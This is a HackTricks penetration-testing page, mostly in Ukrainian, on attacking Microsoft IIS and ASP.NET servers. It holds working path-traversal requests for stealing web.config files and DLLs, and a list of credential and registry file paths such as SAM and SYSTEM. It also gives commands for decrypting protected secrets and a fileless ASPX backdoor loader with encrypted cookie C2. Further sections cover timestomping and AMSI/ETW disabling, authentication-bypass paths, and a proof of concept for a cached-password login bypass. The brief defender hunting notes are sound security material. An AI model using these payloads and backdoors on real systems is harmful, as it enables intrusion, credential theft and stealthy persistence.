IIS - Internet Information Services

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Тестові розширення виконуваних файлів:

  • asp
  • aspx
  • config
  • php

Розкриття внутрішньої IP-адреси

На будь-якому IIS-сервері, де ви отримуєте 302, можна спробувати прибрати Host header і використовувати HTTP/1.0 — у відповіді заголовок Location може вказувати на внутрішню IP-адресу:

nc -v domain.com 80
openssl s_client -connect domain.com:443

Відповідь, що розкриває внутрішню IP-адресу:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Виконати .config файли

Ви можете завантажувати .config файли і використовувати їх для виконання коду. Один зі способів — додати код у кінець файлу всередині HTML-коментаря: Download example here

Більше інформації та технік для експлуатації цієї вразливості here

IIS Discovery Bruteforce

Download the list that I have created:

It was created merging the contents of the following lists:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Використовуйте його без додавання розширення — файли, яким воно потрібне, вже мають його.

Path Traversal

Leaking source code

Перегляньте повний опис за адресою: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

Як підсумок, у папках додатка знаходяться кілька web.config файлів зі посиланнями на “assemblyIdentity” файли та “namespaces”. За цією інформацією можна визначити де розташовані виконувані файли та завантажити їх.
З завантажених Dlls також можна знайти нові namespaces, до яких варто спробувати отримати доступ і дістати web.config файл, щоб знайти нові namespaces та assemblyIdentity.
Також файли connectionstrings.config і global.asax можуть містити цікаву інформацію.

У .Net MVC додатках, файл web.config відіграє ключову роль, вказуючи кожний бінарний файл, від якого залежить додаток, через “assemblyIdentity” XML-теги.

Дослідження бінарних файлів

Приклад доступу до файлу web.config показано нижче:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Цей запит виявляє різні налаштування та залежності, наприклад:

  • версія EntityFramework
  • AppSettings для webpages, client validation і JavaScript
  • конфігурації System.web для автентифікації та runtime
  • налаштування модулів System.webServer
  • Runtime assembly bindings для численних бібліотек, таких як Microsoft.Owin, Newtonsoft.Json та System.Web.Mvc

Ці налаштування вказують, що деякі файли, такі як /bin/WebGrease.dll, розташовані в папці /bin застосунку.

Root Directory Files

Файли, знайдені в кореневому каталозі, такі як /global.asax і /connectionstrings.config (який містить чутливі паролі), є необхідними для конфігурації та функціонування додатка.

Namespaces and Web.Config

MVC-застосунки також визначають додаткові web.config files для конкретних просторів імен, щоб уникнути повторних декларацій у кожному файлі, як показано запитом на завантаження іншого web.config:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

Завантаження DLLs

Згадка власного простору імен вказує на наявність DLL з іменем “WebApplication1” у директорії /bin. Нижче показано запит на завантаження WebApplication1.dll:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Це свідчить про наявність інших необхідних DLL, таких як System.Web.Mvc.dll та System.Web.Optimization.dll, у директорії /bin.

У випадку, коли DLL імпортує простір імен WebApplication1.Areas.Minded, атакувальник може припустити наявність інших web.config файлів у передбачуваних шляхах, таких як /area-name/Views/, які містять певні конфігурації та посилання на інші DLL у папці /bin. Наприклад, запит до /Minded/Views/web.config може виявити конфігурації та простори імен, що вказують на наявність іншої DLL — WebApplication1.AdditionalFeatures.dll.

Common files

From here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Error

Якщо ви бачите помилку, схожу на наведену нижче:

Це означає, що сервер не отримав правильне доменне ім’я в Host header.
Щоб отримати доступ до веб-сторінки, перегляньте виданий SSL Certificate — можливо, ви знайдете там ім’я домену/субдомену. Якщо його там немає, можливо, доведеться brute force VHosts, поки не знайдете правильний.

Decrypt encrypted configuration and ASP.NET Core Data Protection key rings

Два поширені підходи для захисту секретів у IIS-hosted .NET apps:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) для секцій web.config, як-от .
  • ASP.NET Core Data Protection key ring (persisted locally), який використовується для захисту секретів додатка та cookies.

Якщо у вас є доступ до файлової системи або інтерактивний доступ до веб-сервера, розташовані поряд ключі часто дозволяють розшифрувати.

  • ASP.NET (Full Framework) – розшифрувати захищені секції конфігурації за допомогою aspnet_regiis:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – шукайте Data Protection key rings, що зберігаються локально (XML/JSON файли) у таких місцях:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

Якщо key ring доступний, оператор, що працює під ідентичністю додатку, може інстанціювати IDataProtector з тими ж purposes і викликати unprotect для збережених secrets. Неправильні конфігурації, що зберігають key ring разом із файлами додатку, роблять офлайн дешифрування тривіально можливим після компрометації хоста.

IIS fileless backdoors and in-memory .NET loaders (у стилі NET-STAR)

Набір інструментів Phantom Taurus/NET-STAR демонструє зрілий підхід для fileless IIS persistence і post‑exploitation повністю всередині w3wp.exe. Основні ідеї широко застосовні для кастомного tradecraft та для detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results are wrapped with Gzip → AES‑ECB/PKCS7 → Base64 and moved via seemingly legitimate cookie‑heavy requests; operators used stable delimiters (e.g., “STAR”) for chunking.
  • Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
  • Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Допоміжні інструменти для пакування/криптографії (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session flow і command surface

  • Session bootstrap і tasking передаються через cookies, щоб зливатися з нормальною веб-активністю.
  • Команди, помічені в реальному середовищі, включали: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; а також примітиви динамічного виконання code_self, code_pid, run_code для виконання .NET в пам’яті.

Утиліта Timestomping

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Вбудоване відключення AMSI/ETW перед Assembly.Load (варіант loader)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

See AMSI/ETW bypass techniques in: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • Одна поодинока, дивна сторінка ASPX з дуже великими Base64/Gzip блобами; cookie‑heavy posts.
  • Unbacked managed modules всередині w3wp.exe; стрічки типу Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run.
  • Повторювані роздільники типу “STAR” у трафіку; невідповідні або навіть майбутні timestamps в ASPX/assemblies.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

Багато ASP.NET додатків вбудовують Telerik UI for ASP.NET AJAX і відкривають неаутентифікований обробник Telerik.Web.UI.WebResource.axd. Коли досяжна точка доступу Image Editor cache (type=iec), параметри dkey=1 та prtype дозволяють unsafe reflection, що виконує будь-який public parameterless constructor pre‑auth. Це дає універсальний DoS-примітив і може ескалувати до pre‑auth RCE в додатках з небезпечними AppDomain.AssemblyResolve handlers.

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Ви можете спробувати перелічити папки та файли всередині кожної знайденої директорії (навіть якщо вона вимагає Basic Authentication) використовуючи цю technique.
Головне обмеження цієї техніки, якщо сервер вразливий, полягає в тому, що вона може знайти лише перші 6 літер імені кожного файлу/папки та перші 3 літери extension файлів.

Ви можете використати https://github.com/irsdl/IIS-ShortName-Scanner для перевірки цієї вразливості:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Ви також можете використати metasploit: use scanner/http/iis_shortname_scanner

Гарна ідея, щоб знайти фінальне ім’я виявлених файлів — запитати LLMs для варіантів, як це зроблено в скрипті https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

Bypass a basic authentication (IIS 7.5) пробуючи доступ до: /admin:$i30:$INDEX_ALLOCATION/admin.php або /admin::$INDEX_ALLOCATION/admin.php

Ви можете спробувати поєднати цю vulnerability та попередню, щоб знайти нові folders і bypass аутентифікацію.

ASP.NET Trace.AXD enabled debugging

ASP.NET включає режим налагодження, файл називається trace.axd.

Він зберігає дуже детальний лог усіх запитів до додатку за певний період часу.

Ця інформація включає IP клієнтів, session IDs, всі request і response cookies, фізичні шляхи, інформацію про вихідний код і потенційно навіть імена користувачів та паролі.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH uses the following info:

  • validationKey (string): hex-encoded key to use for signature validation.
  • decryptionMethod (string): (default “AES”).
  • decryptionIV (string): hex-encoded initialization vector (defaults to a vector of zeros).
  • decryptionKey (string): hex-encoded key to use for decryption.

Однак деякі використовують default values цих параметрів і як cookie використовують email користувача. Тому, якщо ви знайдете сайт на тій самій платформі, який використовує ASPXAUTH cookie, і ви створите користувача з email того користувача, якого хочете зімітувати на другому сервері, ви можете змогти використати cookie з другого сервера на першому і зімітувати цього користувача.
Ця атака спрацювала в цьому writeup.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: У коді була помилка, яка неправильно перевіряла пароль, тому атакуючий, чий password hash потрапляє в ключ, що вже є в cache, зможе login як цей користувач .

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Джерела

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks